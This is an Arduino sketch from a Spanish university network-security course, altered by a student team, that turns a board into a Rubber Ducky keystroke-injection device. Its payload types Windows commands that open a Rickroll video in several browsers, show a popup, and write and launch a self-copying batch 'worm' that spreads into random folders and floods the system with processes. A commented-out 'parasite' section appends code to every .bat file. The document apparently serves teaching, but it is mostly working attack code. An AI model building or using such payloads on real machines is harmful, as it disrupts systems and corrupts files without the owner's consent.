/\*

\* SEGURIDAD EN SISTEMAS Y REDES

\* Borja Bordel borja.bordel@upm.es

\* EJEMPLO RUBBER DUCKY

\* Alterado por equipo Gryffindor CIT31-01

\*

\* PAYLOAD: Payload bomba youtube roll con gusano y posible parásito

\*

\* IMPORTANTE: Todo el código debe estar

\*/

// Librería para convertir nuestro Arduino en un teclad USB

#include <Keyboard.h>

void setup() {

//30 segundos (30K ms) para que haya tiempo de desconectar en RubberDuckdy del PC

delay(100000);

// Importamos layaout en castellano para el teclado

Keyboard.begin(KeyboardLayout\_es\_ES);

//Minimizamos las ventanas

Minimiza ();

//PAYLOAD

//Ventana de "Ejecutar" para poder lanzar aplicaciones

Ejecutar();

delay(200);

//Teclea("https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Teclea("notepad");

Enter();

delay(300);

Teclea("start cmd.exe");

Enter();

Teclea("start iexplore.exe -new https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Enter();

/\* Teclea("start firefox.exe -new-window https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Enter(); \*/

Teclea("start chrome -new https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Enter();

Teclea("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Enter();

Teclea("msg \* We're no strangers to love...");

Enter();

Teclea("set localNuev=%random%");

Enter();

Teclea("copy programita.bat programitaCopia.bat");

Enter();

Teclea("mkdir %localNuev%");

Enter();

Teclea("move programitaCopia.bat %localNuev%/programita.bat");

Enter();

Teclea("cd %localNuev%");

Enter();

Teclea("start programita.bat");

Enter();

Teclea("cd ..");

Enter();

Teclea("start programita.bat");

/\*POR NO JOROBAR TODO EL SISTEMA\*/

/\*

Teclea("copy programita.bat programitaCopia.bat");

Enter();

Teclea("move programitaCopia.bat ../programita.txt");

Enter();

Teclea("cd ..");

// CODIGO PARASITO -- Ademas hace que cada ejecución de programa cree programas mas y mas grandes

Teclea("dir /b \*.bat >> archiv.txt");

Enter();

Teclea("for /F %%A in (archiv.txt) DO type pro.bat >> %%A");

Enter();

Teclea("start programita.bat");

\*/

guardarBlocNotas ();

Teclea("programita.bat");

Enter();

guardarBlocNotasComo();

abrirDirExplorer ();

delay(300);

Teclea("cmd");

delay(100);

Enter();

delay(1000);

Teclea("start programita.bat");

Enter();

delay(300);

//IMPORTANTE: Si dejamos el teclado iniciado, el procesador se bloquea y no se podrá programar de nuevo

//NO olvides esta sentencia

Keyboard.end();

}

//IMPORTANTE: ¡¡Debe queda vacío!!

void loop() {

}

void Enter(){

Keyboard.press(KEY\_RETURN);

delay(50);

Keyboard.release(KEY\_RETURN);

delay(50);

}

void Cerrar(){

Keyboard.press(KEY\_LEFT\_ALT);

Keyboard.press(KEY\_F4);

delay(500);

Keyboard.release(KEY\_LEFT\_ALT);

Keyboard.release(KEY\_F4);

delay(500);

}

void Teclea(char txt[]){

Keyboard.print(txt);

delay(500);

}

void Ejecutar(){

Keyboard.press(KEY\_LEFT\_GUI);

Keyboard.press('r');

delay(500);

Keyboard.release(KEY\_LEFT\_GUI);

Keyboard.release('r');

delay(500);

}

void Minimiza () {

Keyboard.press(KEY\_LEFT\_GUI);

Keyboard.press('d');

delay(500);

Keyboard.release(KEY\_LEFT\_GUI);

Keyboard.release('d');

delay(500);

}

void RestableceVentanas () {

Keyboard.press(KEY\_LEFT\_ALT);

Keyboard.press(KEY\_TAB);

delay(500);

Keyboard.release(KEY\_LEFT\_ALT);

Keyboard.release(KEY\_TAB);

}

void guardarBlocNotas () {

Keyboard.press(KEY\_LEFT\_CTRL);

Keyboard.press('g');

delay(500);

Keyboard.release(KEY\_LEFT\_CTRL);

Keyboard.release('g');

}

void guardarBlocNotasComo () {

Keyboard.press(KEY\_LEFT\_CTRL);

Keyboard.press(KEY\_LEFT\_SHIFT);

Keyboard.press('s');

delay(500);

Keyboard.release(KEY\_LEFT\_CTRL);

Keyboard.release(KEY\_LEFT\_SHIFT);

Keyboard.release('s');

}

void abrirDirExplorer () {

Keyboard.press(KEY\_LEFT\_ALT);

Keyboard.press('d');

delay(500);

Keyboard.release(KEY\_LEFT\_ALT);

Keyboard.release('d');

}